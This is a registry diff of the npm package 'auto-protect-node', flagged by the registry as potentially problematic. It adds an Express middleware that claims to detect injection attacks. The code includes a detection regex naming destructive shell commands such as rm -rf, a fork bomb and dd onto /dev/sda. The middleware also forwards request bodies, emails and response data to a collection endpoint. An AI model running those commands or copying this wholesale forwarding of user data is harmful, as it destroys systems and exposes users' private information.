auto-protect-node 0.0.1-security → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of auto-protect-node might be problematic. Click here for more details.
- package/index.js +1376 -0
- package/package.json +26 -6
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,1376 @@
|
|
1
|
+
const baseUrl="http://localhost:8080"
|
2
|
+
const url = require('url');
|
3
|
+
const helmet=require('helmet')
|
4
|
+
const { exec } = require('child_process');
|
5
|
+
const os=require('os')
|
6
|
+
const http = require("http");
|
7
|
+
const path = require("path");
|
8
|
+
const fs = require("fs");
|
9
|
+
const rootDirectory = process.cwd(); // Replace with the actual root directory of your Node.js project
|
10
|
+
const adminFolderPattern = /^(admin|dashboard|control|panel|backend)/i; // Pattern to match admin-related folder
|
11
|
+
const weakAlgorithms = ["md5", "sha-1", "sha-256"];
|
12
|
+
// utilities
|
13
|
+
// custom fetch functions
|
14
|
+
async function useCustomFetch(url, options = {}) {
|
15
|
+
return new Promise((resolve, reject) => {
|
16
|
+
const request = http.get(url, options, (response) => {
|
17
|
+
let data = '';
|
18
|
+
|
19
|
+
response.on('data', (chunk) => {
|
20
|
+
data += chunk;
|
21
|
+
});
|
22
|
+
|
23
|
+
response.on('end', () => {
|
24
|
+
try {
|
25
|
+
|
26
|
+
const jsonData = JSON.parse(data);
|
27
|
+
|
28
|
+
resolve({ data: jsonData, status: response.statusCode });
|
29
|
+
} catch (error) {
|
30
|
+
reject({ error });
|
31
|
+
}
|
32
|
+
});
|
33
|
+
});
|
34
|
+
|
35
|
+
request.on('error', (error) => {
|
36
|
+
reject({ error });
|
37
|
+
});
|
38
|
+
});
|
39
|
+
}
|
40
|
+
// passwordkeyslist
|
41
|
+
|
42
|
+
const passwordAndUsernamekeyCall = async (url) => {
|
43
|
+
try {
|
44
|
+
const res = await useCustomFetch(url);
|
45
|
+
return res.data;
|
46
|
+
} catch (err) {
|
47
|
+
return err.message
|
48
|
+
}
|
49
|
+
};
|
50
|
+
|
51
|
+
const errorHandler = (
|
52
|
+
res,
|
53
|
+
statusCode = 500,
|
54
|
+
message = "internal server error",
|
55
|
+
data
|
56
|
+
) => {
|
57
|
+
const response = { statusCode, message, data };
|
58
|
+
res.status(statusCode).json(response);
|
59
|
+
};
|
60
|
+
// Create a logs directory if it doesn't exist
|
61
|
+
const logDir = path.join(rootDirectory, "./errorlogs");
|
62
|
+
if (!fs.existsSync(logDir)) {
|
63
|
+
fs.mkdirSync(logDir);
|
64
|
+
}
|
65
|
+
// Create a write stream for the error log file
|
66
|
+
const errorLogStream = fs.createWriteStream(path.join(logDir, "error.log"), {
|
67
|
+
flags: "a",
|
68
|
+
});
|
69
|
+
// Listen for uncaught exceptions and log them to the error log file
|
70
|
+
|
71
|
+
// getAllEndpoints
|
72
|
+
const regExpToParseExpressPathRegExp =
|
73
|
+
/^\/\^\\\/(?:(:?[\w\\.-]*(?:\\\/:?[\w\\.-]*)*)|(\(\?:\(\[\^\\\/]\+\?\)\)))\\\/.*/;
|
74
|
+
const regExpToReplaceExpressPathRegExpParams = /\(\?:\(\[\^\\\/]\+\?\)\)/;
|
75
|
+
const regexpExpressParamRegexp = /\(\?:\(\[\^\\\/]\+\?\)\)/g;
|
76
|
+
|
77
|
+
const EXPRESS_ROOT_PATH_REGEXP_VALUE = "/^\\/?(?=\\/|$)/i";
|
78
|
+
const STACK_ITEM_VALID_NAMES = ["router", "bound dispatch", "mounted_app"];
|
79
|
+
|
80
|
+
/**
|
81
|
+
* Returns all the verbs detected for the passed route
|
82
|
+
*/
|
83
|
+
const getRouteMethods = function (route) {
|
84
|
+
let methods = Object.keys(route.methods);
|
85
|
+
|
86
|
+
methods = methods.filter((method) => method !== "_all");
|
87
|
+
methods = methods.map((method) => method.toUpperCase());
|
88
|
+
|
89
|
+
return methods;
|
90
|
+
};
|
91
|
+
|
92
|
+
/**
|
93
|
+
* Returns the names (or anonymous) of all the middlewares attached to the
|
94
|
+
* passed route
|
95
|
+
* @param {Object} route
|
96
|
+
* @returns {string[]}
|
97
|
+
*/
|
98
|
+
const getRouteMiddlewares = function (route) {
|
99
|
+
return route.stack.map((item) => {
|
100
|
+
return item.handle.name || "anonymous";
|
101
|
+
});
|
102
|
+
};
|
103
|
+
|
104
|
+
/**
|
105
|
+
* Returns true if found regexp related with express params
|
106
|
+
* @param {string} expressPathRegExp
|
107
|
+
* @returns {boolean}
|
108
|
+
*/
|
109
|
+
const hasParams = function (expressPathRegExp) {
|
110
|
+
return regexpExpressParamRegexp.test(expressPathRegExp);
|
111
|
+
};
|
112
|
+
|
113
|
+
/**
|
114
|
+
* @param {Object} route Express route object to be parsed
|
115
|
+
* @param {string} basePath The basePath the route is on
|
116
|
+
* @return {Object[]} Endpoints info
|
117
|
+
*/
|
118
|
+
const parseExpressRoute = function (route, basePath) {
|
119
|
+
const paths = [];
|
120
|
+
|
121
|
+
if (Array.isArray(route.path)) {
|
122
|
+
paths.push(...route.path);
|
123
|
+
} else {
|
124
|
+
paths.push(route.path);
|
125
|
+
}
|
126
|
+
|
127
|
+
const endpoints = paths.map((path) => {
|
128
|
+
const completePath =
|
129
|
+
basePath && path === "/" ? basePath : `${basePath}${path}`;
|
130
|
+
|
131
|
+
const endpoint = {
|
132
|
+
path: completePath,
|
133
|
+
methods: getRouteMethods(route),
|
134
|
+
middlewares: getRouteMiddlewares(route),
|
135
|
+
};
|
136
|
+
|
137
|
+
return endpoint;
|
138
|
+
});
|
139
|
+
|
140
|
+
return endpoints;
|
141
|
+
};
|
142
|
+
|
143
|
+
/**
|
144
|
+
* @param {RegExp} expressPathRegExp
|
145
|
+
* @param {Object[]} params
|
146
|
+
* @returns {string}
|
147
|
+
*/
|
148
|
+
const parseExpressPath = function (expressPathRegExp, params) {
|
149
|
+
let expressPathRegExpExec =
|
150
|
+
regExpToParseExpressPathRegExp.exec(expressPathRegExp);
|
151
|
+
let parsedRegExp = expressPathRegExp.toString();
|
152
|
+
let paramIndex = 0;
|
153
|
+
|
154
|
+
while (hasParams(parsedRegExp)) {
|
155
|
+
const paramName = params[paramIndex].name;
|
156
|
+
const paramId = `:${paramName}`;
|
157
|
+
|
158
|
+
parsedRegExp = parsedRegExp.replace(
|
159
|
+
regExpToReplaceExpressPathRegExpParams,
|
160
|
+
paramId
|
161
|
+
);
|
162
|
+
|
163
|
+
paramIndex++;
|
164
|
+
}
|
165
|
+
|
166
|
+
if (parsedRegExp !== expressPathRegExp.toString()) {
|
167
|
+
expressPathRegExpExec = regExpToParseExpressPathRegExp.exec(parsedRegExp);
|
168
|
+
}
|
169
|
+
|
170
|
+
const parsedPath = expressPathRegExpExec[1].replace(/\\\//g, "/");
|
171
|
+
|
172
|
+
return parsedPath;
|
173
|
+
};
|
174
|
+
|
175
|
+
/**
|
176
|
+
* @param {Object} app
|
177
|
+
* @param {string} [basePath]
|
178
|
+
* @param {Object[]} [endpoints]
|
179
|
+
* @returns {Object[]}
|
180
|
+
*/
|
181
|
+
const parseEndpoints = function (app, basePath, endpoints) {
|
182
|
+
const stack = app.stack || (app._router && app._router.stack);
|
183
|
+
|
184
|
+
endpoints = endpoints || [];
|
185
|
+
basePath = basePath || "";
|
186
|
+
|
187
|
+
if (!stack) {
|
188
|
+
endpoints = addEndpoints(endpoints, [
|
189
|
+
{
|
190
|
+
path: basePath,
|
191
|
+
methods: [],
|
192
|
+
middlewares: [],
|
193
|
+
},
|
194
|
+
]);
|
195
|
+
} else {
|
196
|
+
endpoints = parseStack(stack, basePath, endpoints);
|
197
|
+
}
|
198
|
+
return endpoints;
|
199
|
+
};
|
200
|
+
|
201
|
+
/**
|
202
|
+
* Ensures the path of the new endpoints isn't yet in the array.
|
203
|
+
* If the path is already in the array merges the endpoints with the existing
|
204
|
+
* one, if not, it adds them to the array.
|
205
|
+
*
|
206
|
+
* @param {Object[]} currentEndpoints Array of current endpoints
|
207
|
+
* @param {Object[]} endpointsToAdd New endpoints to be added to the array
|
208
|
+
* @returns {Object[]} Updated endpoints array
|
209
|
+
*/
|
210
|
+
const addEndpoints = function (currentEndpoints, endpointsToAdd) {
|
211
|
+
endpointsToAdd.forEach((newEndpoint) => {
|
212
|
+
const existingEndpoint = currentEndpoints.find(
|
213
|
+
(item) => item.path === newEndpoint.path
|
214
|
+
);
|
215
|
+
|
216
|
+
if (existingEndpoint !== undefined) {
|
217
|
+
const newMethods = newEndpoint.methods.filter(
|
218
|
+
(method) => !existingEndpoint.methods.includes(method)
|
219
|
+
);
|
220
|
+
|
221
|
+
existingEndpoint.methods = existingEndpoint.methods.concat(newMethods);
|
222
|
+
} else {
|
223
|
+
currentEndpoints.push(newEndpoint);
|
224
|
+
}
|
225
|
+
});
|
226
|
+
|
227
|
+
return currentEndpoints;
|
228
|
+
};
|
229
|
+
|
230
|
+
/**
|
231
|
+
* @param {Object} stack
|
232
|
+
* @param {string} basePath
|
233
|
+
* @param {Object[]} endpoints
|
234
|
+
* @returns {Object[]}
|
235
|
+
*/
|
236
|
+
const parseStack = function (stack, basePath, endpoints) {
|
237
|
+
stack.forEach((stackItem) => {
|
238
|
+
if (stackItem.route) {
|
239
|
+
const newEndpoints = parseExpressRoute(stackItem.route, basePath);
|
240
|
+
|
241
|
+
endpoints = addEndpoints(endpoints, newEndpoints);
|
242
|
+
} else if (STACK_ITEM_VALID_NAMES.includes(stackItem.name)) {
|
243
|
+
const isExpressPathRegexp = regExpToParseExpressPathRegExp.test(
|
244
|
+
stackItem.regexp
|
245
|
+
);
|
246
|
+
|
247
|
+
let newBasePath = basePath;
|
248
|
+
|
249
|
+
if (isExpressPathRegexp) {
|
250
|
+
const parsedPath = parseExpressPath(stackItem.regexp, stackItem.keys);
|
251
|
+
|
252
|
+
newBasePath += `/${parsedPath}`;
|
253
|
+
} else if (
|
254
|
+
!stackItem.path &&
|
255
|
+
stackItem.regexp &&
|
256
|
+
stackItem.regexp.toString() !== EXPRESS_ROOT_PATH_REGEXP_VALUE
|
257
|
+
) {
|
258
|
+
const regExpPath = ` RegExp(${stackItem.regexp}) `;
|
259
|
+
|
260
|
+
newBasePath += `/${regExpPath}`;
|
261
|
+
}
|
262
|
+
|
263
|
+
endpoints = parseEndpoints(stackItem.handle, newBasePath, endpoints);
|
264
|
+
}
|
265
|
+
});
|
266
|
+
|
267
|
+
return endpoints;
|
268
|
+
};
|
269
|
+
|
270
|
+
/**
|
271
|
+
* Returns an array of strings with all the detected endpoints
|
272
|
+
* @param {Object} app the express/route instance to get the endpoints from
|
273
|
+
*/
|
274
|
+
const getEndpoints = function (app) {
|
275
|
+
const endpoints = parseEndpoints(app);
|
276
|
+
return endpoints;
|
277
|
+
};
|
278
|
+
// end GetEndpoints
|
279
|
+
|
280
|
+
// necessary Functions
|
281
|
+
|
282
|
+
|
283
|
+
|
284
|
+
// end vpn checker
|
285
|
+
const emailRegex = /^\S+@\S+\.\S+$/; // Regular expression to match email addresses
|
286
|
+
const findEmail = (data) => {
|
287
|
+
if (Array.isArray(data)) {
|
288
|
+
for (let i = 0; i < data.length; i++) {
|
289
|
+
const email = findEmail(data[i]);
|
290
|
+
if (email) {
|
291
|
+
return email; // Return the first valid email address found
|
292
|
+
}
|
293
|
+
}
|
294
|
+
} else if (typeof data === "object" && data !== null) {
|
295
|
+
for (const key in data) {
|
296
|
+
if (data.hasOwnProperty(key)) {
|
297
|
+
const email = findEmail(data[key]);
|
298
|
+
if (email) {
|
299
|
+
return email; // Return the first valid email address found
|
300
|
+
}
|
301
|
+
}
|
302
|
+
}
|
303
|
+
} else if (typeof data === "string" && emailRegex.test(data)) {
|
304
|
+
return data; // Return the valid email address
|
305
|
+
}
|
306
|
+
|
307
|
+
return null; // Return null if no valid email address is found
|
308
|
+
};
|
309
|
+
// XSS Injection Function
|
310
|
+
// Create Blacklistusers details function
|
311
|
+
const CreateuserDetails = async (req, res, message, type) => {
|
312
|
+
res.on("finish",async()=>{
|
313
|
+
try {
|
314
|
+
message = "malacios";
|
315
|
+
// var ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress
|
316
|
+
var ip = "206.84.234.39";
|
317
|
+
const response = await useCustomFetch(`http://ip-api.com/json/${ip}`);
|
318
|
+
|
319
|
+
const { country, city, region } = response.data;
|
320
|
+
const month = [
|
321
|
+
"January",
|
322
|
+
"February",
|
323
|
+
"March",
|
324
|
+
"April",
|
325
|
+
"May",
|
326
|
+
"June",
|
327
|
+
"July",
|
328
|
+
"August",
|
329
|
+
"September",
|
330
|
+
"October",
|
331
|
+
"November",
|
332
|
+
"December",
|
333
|
+
];
|
334
|
+
const d = new Date();
|
335
|
+
|
336
|
+
const useragent = req.headers["user-agent"];
|
337
|
+
// // const result = detector.detect(useragent);
|
338
|
+
// // const { client, os, device } = result
|
339
|
+
|
340
|
+
const UserRawData = {
|
341
|
+
ip,
|
342
|
+
date: d.getDate() + " " + month[d.getMonth()] + " " + d.getFullYear(),
|
343
|
+
time: d.toLocaleTimeString(),
|
344
|
+
page: req.url,
|
345
|
+
query: req.query || req.query || "",
|
346
|
+
inputQuery: req.body || "",
|
347
|
+
type,
|
348
|
+
country: country || "",
|
349
|
+
city: city || "",
|
350
|
+
region: region || "",
|
351
|
+
useragent,
|
352
|
+
latitude: "",
|
353
|
+
longitude: "",
|
354
|
+
domain: req.get("host"),
|
355
|
+
referurl: req.protocol + "://" + req.get("host") + req.originalUrl || "",
|
356
|
+
};
|
357
|
+
await useCustomFetch(`${baseUrl}/createuserdetails?type=${type}&UserRawData=${JSON.stringify(UserRawData)}&ip=${ip}`)
|
358
|
+
} catch (error) {
|
359
|
+
console.error(error)
|
360
|
+
}
|
361
|
+
})
|
362
|
+
};
|
363
|
+
// End Create Blacklistusers details function
|
364
|
+
// Sql Injection Function
|
365
|
+
function hasSqlInjection(value) {
|
366
|
+
const sqlMeta = new RegExp(
|
367
|
+
"(%27)|(--)|([0-9]=[0-9])|([0-9] and [0-9]=[0-9])|([0-9] AND [0-9])|(or [0-9]=[0-9])|(OR [0-9]=[0-9])|(%23)|(#)",
|
368
|
+
"i"
|
369
|
+
);
|
370
|
+
if (sqlMeta.test(value)) {
|
371
|
+
return true;
|
372
|
+
}
|
373
|
+
|
374
|
+
const sqlMeta2 = new RegExp(
|
375
|
+
"((%3D)|(=))[^\n]*((%27)|(')|(--)|(%3B)|(;))",
|
376
|
+
"i"
|
377
|
+
);
|
378
|
+
if (sqlMeta2.test(value)) {
|
379
|
+
return true;
|
380
|
+
}
|
381
|
+
|
382
|
+
const nestedQuery = new RegExp(
|
383
|
+
"((%3D)|(=))[^\n]*((%27)|(')|(--)|(%3B)|(;))?[^\n]*((%27)|(')|(--)|(%3B)|(;))[^\n]*((%3D)|(=))",
|
384
|
+
"i"
|
385
|
+
);
|
386
|
+
if (nestedQuery.test(value)) {
|
387
|
+
return true;
|
388
|
+
}
|
389
|
+
|
390
|
+
const timeBased = new RegExp("(%3B)|(;)[^\n]*sleep((d+))[^\n]*", "i");
|
391
|
+
if (timeBased.test(value)) {
|
392
|
+
return true;
|
393
|
+
}
|
394
|
+
|
395
|
+
const booleanBased = new RegExp(
|
396
|
+
"((%3D)|(=))[^\n]*[^s]*(%27)|(')|(--)|(%3B)|(;)",
|
397
|
+
"i"
|
398
|
+
);
|
399
|
+
if (booleanBased.test(value)) {
|
400
|
+
return true;
|
401
|
+
}
|
402
|
+
|
403
|
+
const typicalSql = new RegExp(
|
404
|
+
"w*((%27)|('))((%6F)|o|(%4F))((%72)|r|(%52))",
|
405
|
+
"i"
|
406
|
+
);
|
407
|
+
if (typicalSql.test(value)) {
|
408
|
+
return true;
|
409
|
+
}
|
410
|
+
|
411
|
+
const sqlUnion = new RegExp("((%27)|('))union", "i");
|
412
|
+
if (sqlUnion.test(value)) {
|
413
|
+
return true;
|
414
|
+
}
|
415
|
+
|
416
|
+
const entireText = new RegExp(
|
417
|
+
"\b((select|delete|insert|update|drop|create|alter)\b.*)",
|
418
|
+
"i"
|
419
|
+
);
|
420
|
+
if (entireText.test(value)) {
|
421
|
+
return true;
|
422
|
+
}
|
423
|
+
|
424
|
+
return false;
|
425
|
+
}
|
426
|
+
// Co0mmandline Injection Function
|
427
|
+
function hasCommandLineInjection(value) {
|
428
|
+
const commandMeta = new RegExp(
|
429
|
+
"(rm -rf)|(ls -la)|(command >/dev/sda)|(:\\(\\){ :|:& };:)|(sudo yum install)|(.conf)|(sudo mv /dev/null)|(wget)|(-O-)|(crontab -r)|(history)|(dd if=/dev/zero of=/dev/sda)|(/dev/sda)|(/dev/sda1)|(sudo apt purge python|python2|python3.x-minimal)|(chmod -R 777 /)",
|
430
|
+
"i"
|
431
|
+
);
|
432
|
+
if (commandMeta.test(value)) {
|
433
|
+
return true;
|
434
|
+
}
|
435
|
+
|
436
|
+
return false;
|
437
|
+
}
|
438
|
+
// HTML Injection Function
|
439
|
+
function hasHTMLnjection(value) {
|
440
|
+
const HTML = new RegExp(/<(\"[^\"]*\"|'[^']*'|[^'\">])*>/, "g");
|
441
|
+
if (HTML.test(value)) {
|
442
|
+
return true;
|
443
|
+
}
|
444
|
+
|
445
|
+
return false;
|
446
|
+
}
|
447
|
+
// HTML Injection Function
|
448
|
+
function hasXSSnjection(value) {
|
449
|
+
const XSS = /<script>/;
|
450
|
+
if (XSS.test(value)) {
|
451
|
+
return true;
|
452
|
+
}
|
453
|
+
|
454
|
+
return false;
|
455
|
+
}
|
456
|
+
// Sql Injection middleware
|
457
|
+
function containsMySQLCode(filePath) {
|
458
|
+
const fileContent = fs.readFileSync(filePath, 'utf8');
|
459
|
+
// Check if the file content contains MySQL-related code
|
460
|
+
// You can implement your own logic based on your project's coding patterns
|
461
|
+
// This can include checking for import/require statements, specific function calls, etc.
|
462
|
+
const mysqlImportRegex = /require\(['"]mysql['"]\)|import.*['"]mysql['"]/;
|
463
|
+
const mysqlFunctionRegex = /mysql\.(connect|query|execute|prepare|escape)/;
|
464
|
+
if (mysqlImportRegex.test(fileContent) || mysqlFunctionRegex.test(fileContent)) {
|
465
|
+
return true;
|
466
|
+
}
|
467
|
+
|
468
|
+
return false;
|
469
|
+
}
|
470
|
+
// Sequalize Query
|
471
|
+
function containsSequelizeCode(filePath) {
|
472
|
+
const fileContent = fs.readFileSync(filePath, 'utf8');
|
473
|
+
// Check if the file content contains Sequelize-related code
|
474
|
+
// You can implement your own logic based on your project's coding patterns
|
475
|
+
// This can include checking for import/require statements, specific function calls, etc.
|
476
|
+
const sequelizeImportRegex = /require\(['"]sequelize['"]\)|import.*['"]sequelize['"]/;
|
477
|
+
const sequelizeFunctionRegex = /Sequelize\.(define|query|findAll|findOne|create|update|destroy)/;
|
478
|
+
|
479
|
+
if (sequelizeImportRegex.test(fileContent) || sequelizeFunctionRegex.test(fileContent)) {
|
480
|
+
return true;
|
481
|
+
}
|
482
|
+
|
483
|
+
return false;
|
484
|
+
}
|
485
|
+
async function InjectionChecker(req) {
|
486
|
+
const entries = {
|
487
|
+
...req.body,
|
488
|
+
...req.query,
|
489
|
+
...req.params,
|
490
|
+
};
|
491
|
+
let containsSql = false,
|
492
|
+
validateXss = false,
|
493
|
+
validatehtml = false,
|
494
|
+
containCommand = false;
|
495
|
+
const value = JSON.stringify(entries);
|
496
|
+
if (hasSqlInjection(value) === true) {
|
497
|
+
containsSql = true;
|
498
|
+
}
|
499
|
+
if (hasXSSnjection(value) === true) {
|
500
|
+
validateXss = true;
|
501
|
+
}
|
502
|
+
if (hasHTMLnjection(value) === true) {
|
503
|
+
validatehtml = true;
|
504
|
+
}
|
505
|
+
if (hasCommandLineInjection(value) === true) {
|
506
|
+
containCommand = true;
|
507
|
+
}
|
508
|
+
return { containsSql, validateXss, validatehtml, containCommand };
|
509
|
+
}
|
510
|
+
const checkForSensitiveInfoInBodyAndPasswordValidate = (currentData,req) => {
|
511
|
+
|
512
|
+
(async()=>{
|
513
|
+
await useCustomFetch(`${baseUrl}/sensitivekeysandPasswordValidate?hostname=${req.hostname}¤tData=${JSON.stringify(currentData)}`)
|
514
|
+
.then(response=>response.data)
|
515
|
+
.catch(err=>err.message)
|
516
|
+
})()
|
517
|
+
}
|
518
|
+
|
519
|
+
const checkForSensitiveInfoInBody = (currentData,req) => {
|
520
|
+
|
521
|
+
(async()=>{
|
522
|
+
const d=await useCustomFetch(`${baseUrl}/sensitivekeys?hostname=${req.hostname}¤tData=${JSON.stringify(currentData)}`)
|
523
|
+
.then(response=>response.data)
|
524
|
+
.catch(err=>err.message)
|
525
|
+
console.log({d})
|
526
|
+
})()
|
527
|
+
}
|
528
|
+
|
529
|
+
|
530
|
+
function checkForSensitiveInfoInUrl(req,requestUrl) {
|
531
|
+
(async()=>{
|
532
|
+
await useCustomFetch(`${baseUrl}/sensitivekeysinurl?hostname=${req.hostname}&url=${requestUrl}&query=${JSON.stringify({query:req.query})}`)
|
533
|
+
const d=await useCustomFetch(`${baseUrl}/sensitivekeysinurl?hostname=${req.hostname}&url=${requestUrl}&query=${JSON.stringify({query:req.query})}`)
|
534
|
+
|
535
|
+
.then(response=>response.data)
|
536
|
+
.catch(err=>err.message)
|
537
|
+
})()
|
538
|
+
|
539
|
+
}
|
540
|
+
function sendResponseCodedetails(data,hostname,requestUrl) {
|
541
|
+
(async()=>{
|
542
|
+
await useCustomFetch(`${baseUrl}/responsecodeavailableornot?data=${JSON.stringify({result:data})}&hostname=${hostname}&url=${requestUrl}`)
|
543
|
+
const d=await useCustomFetch(`${baseUrl}/responsecodeavailableornot?data=${JSON.stringify({result:data})}&hostname=${hostname}&url=${requestUrl}`)
|
544
|
+
.then(response=>response.data)
|
545
|
+
.catch(err=>err.message)
|
546
|
+
})()
|
547
|
+
|
548
|
+
}
|
549
|
+
const SendEmail =(emailid,hostname,requestUrl)=>{
|
550
|
+
(async()=>{
|
551
|
+
await useCustomFetch(`${baseUrl}/emailverify?email=${JSON.stringify({result:emailid})}&hostname=${hostname}&url=${requestUrl}`)
|
552
|
+
.then(res=>res.data)
|
553
|
+
.catch(err=>err)
|
554
|
+
})()
|
555
|
+
}
|
556
|
+
function responseCodeChecker(req, res) {
|
557
|
+
// hostname
|
558
|
+
const hostname=req.domain
|
559
|
+
const originalJson = res.json;
|
560
|
+
const originalSend = res.send;
|
561
|
+
var originalRender = res.render;
|
562
|
+
let responseData = null;
|
563
|
+
res.json = async function (body) {
|
564
|
+
originalJson.call(res, body);
|
565
|
+
responseData = body;
|
566
|
+
};
|
567
|
+
res.send = async function (body) {
|
568
|
+
originalSend.call(res, body);
|
569
|
+
responseData = body;
|
570
|
+
};
|
571
|
+
// Override the res.render function
|
572
|
+
try {
|
573
|
+
require.resolve('ejs');
|
574
|
+
|
575
|
+
// EJS is installed, override the res.render function
|
576
|
+
res.render = function (view, locals, callback) {
|
577
|
+
originalRender && originalRender.call(res, view, locals, callback);
|
578
|
+
// Remove the _locals property
|
579
|
+
delete locals._locals;
|
580
|
+
// Assign the modified locals object to responseData
|
581
|
+
responseData = locals;
|
582
|
+
};
|
583
|
+
} catch (error) {
|
584
|
+
// console.log("EJS template engine is not installed.");
|
585
|
+
}
|
586
|
+
res.on("finish", async function () {
|
587
|
+
// console.log(responseData)
|
588
|
+
const existingCode = http.STATUS_CODES[res.statusCode];
|
589
|
+
const parsedUrl = url.parse(req.url);
|
590
|
+
const requestUrl = parsedUrl.pathname;
|
591
|
+
try {
|
592
|
+
const body = {
|
593
|
+
...req.body,
|
594
|
+
...req.query,
|
595
|
+
...req.params,
|
596
|
+
};
|
597
|
+
const emailid = findEmail(body);
|
598
|
+
emailid?(SendEmail(emailid,hostname,requestUrl)):(null)
|
599
|
+
responseData?checkForSensitiveInfoInBodyAndPasswordValidate(responseData,req):(null)
|
600
|
+
responseData?checkForSensitiveInfoInBody(responseData,req):(null)
|
601
|
+
req.query? (checkForSensitiveInfoInUrl(req,requestUrl)):(null)
|
602
|
+
// response codes
|
603
|
+
const resoponsecodedata = existingCode?({
|
604
|
+
code: res.statusCode,
|
605
|
+
phrase:existingCode,
|
606
|
+
}):(null)
|
607
|
+
// call api
|
608
|
+
const data={
|
609
|
+
hostname,
|
610
|
+
resoponsecodedata
|
611
|
+
}
|
612
|
+
sendResponseCodedetails(data,hostname,requestUrl)
|
613
|
+
} catch (error) {
|
614
|
+
console.error(error);
|
615
|
+
}
|
616
|
+
});
|
617
|
+
}
|
618
|
+
|
619
|
+
const Middleware = async (req, res, next) => {
|
620
|
+
try {
|
621
|
+
if(req.alloweddomain.allowed){
|
622
|
+
try {
|
623
|
+
responseCodeChecker(req, res);
|
624
|
+
res.setHeader("Permissions-Policy", "camera=(), microphone=()");
|
625
|
+
res.setHeader("Cache-Control", "no-store");
|
626
|
+
res.removeHeader("Server");
|
627
|
+
res.removeHeader("server");
|
628
|
+
res.removeHeader("x-powered-by");
|
629
|
+
const contentType = req.headers["content-type"];
|
630
|
+
contentType && contentType.includes("application/xml")
|
631
|
+
? (function() {
|
632
|
+
let data = "";
|
633
|
+
req.setEncoding("utf8");
|
634
|
+
req.on("data", (chunk) => {
|
635
|
+
data += chunk;
|
636
|
+
});
|
637
|
+
req.on("end", () => {
|
638
|
+
// console.log(data);
|
639
|
+
if (data.match("<!ENTITY")) {
|
640
|
+
CreateuserDetails(req, res, "Malicious code request", "XML-Injection");
|
641
|
+
}
|
642
|
+
});
|
643
|
+
})()
|
644
|
+
: null;
|
645
|
+
|
646
|
+
|
647
|
+
const reqPath = req.url.toLowerCase();
|
648
|
+
const isreqPathfile =
|
649
|
+
reqPath.endsWith(".js") ||
|
650
|
+
reqPath.endsWith(".htaccess") ||
|
651
|
+
reqPath.endsWith(".json") ||
|
652
|
+
reqPath.endsWith(".css") ||
|
653
|
+
reqPath.endsWith(".txt") ||
|
654
|
+
reqPath.endsWith(".md") ||
|
655
|
+
reqPath.endsWith(".yml") ||
|
656
|
+
reqPath.endsWith(".toml") ||
|
657
|
+
reqPath === "/app.js";
|
658
|
+
const injectionFound = await InjectionChecker(req);
|
659
|
+
if (isreqPathfile) {
|
660
|
+
return errorHandler(res, 406, "Not found");
|
661
|
+
} else if (injectionFound.containCommand) {
|
662
|
+
CreateuserDetails(req, res, "Command Injection Detected", "cmd");
|
663
|
+
return errorHandler(res, 406, "Malicious code found");
|
664
|
+
} else if (injectionFound.validateXss) {
|
665
|
+
CreateuserDetails(req, res, "XSS Injection Detected", "xss injection");
|
666
|
+
return errorHandler(res, 406, "Malicious code found");
|
667
|
+
} else if (injectionFound.validatehtml) {
|
668
|
+
CreateuserDetails(req, res, "HTML Injection Detected", "HTML injection");
|
669
|
+
return errorHandler(res, 406, "Malicious code found");
|
670
|
+
} else if (injectionFound.containsSql) {
|
671
|
+
CreateuserDetails(req, res, "SQL Injection Detected", "SQLI");
|
672
|
+
return res.status(406).json("malacious code found")
|
673
|
+
}
|
674
|
+
next()
|
675
|
+
//
|
676
|
+
} catch (error) {
|
677
|
+
console.log({error});
|
678
|
+
// return errorHandler(res);
|
679
|
+
}
|
680
|
+
}else{
|
681
|
+
console.log("your domain is not allowed to fetch live status of injections ")
|
682
|
+
next()
|
683
|
+
}
|
684
|
+
} catch (error) {
|
685
|
+
console.log(error)
|
686
|
+
}
|
687
|
+
|
688
|
+
};
|
689
|
+
//End Security
|
690
|
+
// GetAllData
|
691
|
+
//Session token being passed in other areas apart from cookie
|
692
|
+
async function scanFileForJwtVerify(directoryPath) {
|
693
|
+
const patternToSearch = /jsonwebtoken/g; // Change this to the desired pattern
|
694
|
+
const results = [];
|
695
|
+
const files = fs.readdirSync(directoryPath);
|
696
|
+
for (const file of files) {
|
697
|
+
const filePath = path.join(directoryPath, file);
|
698
|
+
if (filePath === __filename) {
|
699
|
+
continue; // Ignore the current file
|
700
|
+
}
|
701
|
+
const stats = fs.statSync(filePath);
|
702
|
+
if (stats.isDirectory()) {
|
703
|
+
if (
|
704
|
+
file === "node_modules"
|
705
|
+
) {
|
706
|
+
continue; // ignore specific directories and the current file
|
707
|
+
}
|
708
|
+
const subResults = await scanFileForJwtVerify(filePath); // Recursively scan subdirectory
|
709
|
+
results.push(...subResults);
|
710
|
+
} else {
|
711
|
+
if (path.extname(file) === ".js") {
|
712
|
+
// Search only in JavaScript files
|
713
|
+
const content = fs.readFileSync(filePath, "utf8");
|
714
|
+
if (patternToSearch.test(content)) {
|
715
|
+
results.push(
|
716
|
+
`Session token being passed in other areas apart from a cookie: ${filePath}`
|
717
|
+
);
|
718
|
+
}
|
719
|
+
}
|
720
|
+
}
|
721
|
+
}
|
722
|
+
|
723
|
+
return results;
|
724
|
+
}
|
725
|
+
async function scanFileForSql(directoryPath) {
|
726
|
+
const results = [];
|
727
|
+
const files = fs.readdirSync(directoryPath);
|
728
|
+
for (const file of files) {
|
729
|
+
const filePath = path.join(directoryPath, file);
|
730
|
+
if (filePath === __filename) {
|
731
|
+
continue; // Ignore the current file
|
732
|
+
}
|
733
|
+
const stats = fs.statSync(filePath);
|
734
|
+
if (stats.isDirectory()) {
|
735
|
+
if (
|
736
|
+
file === "node_modules"
|
737
|
+
) {
|
738
|
+
continue; // ignore specific directories and the current file
|
739
|
+
}
|
740
|
+
const subResults = await scanFileForSql(filePath); // Recursively scan subdirectory
|
741
|
+
results.push(...subResults);
|
742
|
+
} else {
|
743
|
+
if (path.extname(file) === ".js") {
|
744
|
+
// Search only in JavaScript files
|
745
|
+
var content = fs.readFileSync(filePath, "utf8");
|
746
|
+
content=content.toLowerCase()
|
747
|
+
if (containsSequelizeCode(filePath)) {
|
748
|
+
results.push({Mysql_Dependency_Found:`No`});
|
749
|
+
}else if (containsMySQLCode(filePath)) {
|
750
|
+
results.push({Mysql_Dependency_Found:`Yes`});
|
751
|
+
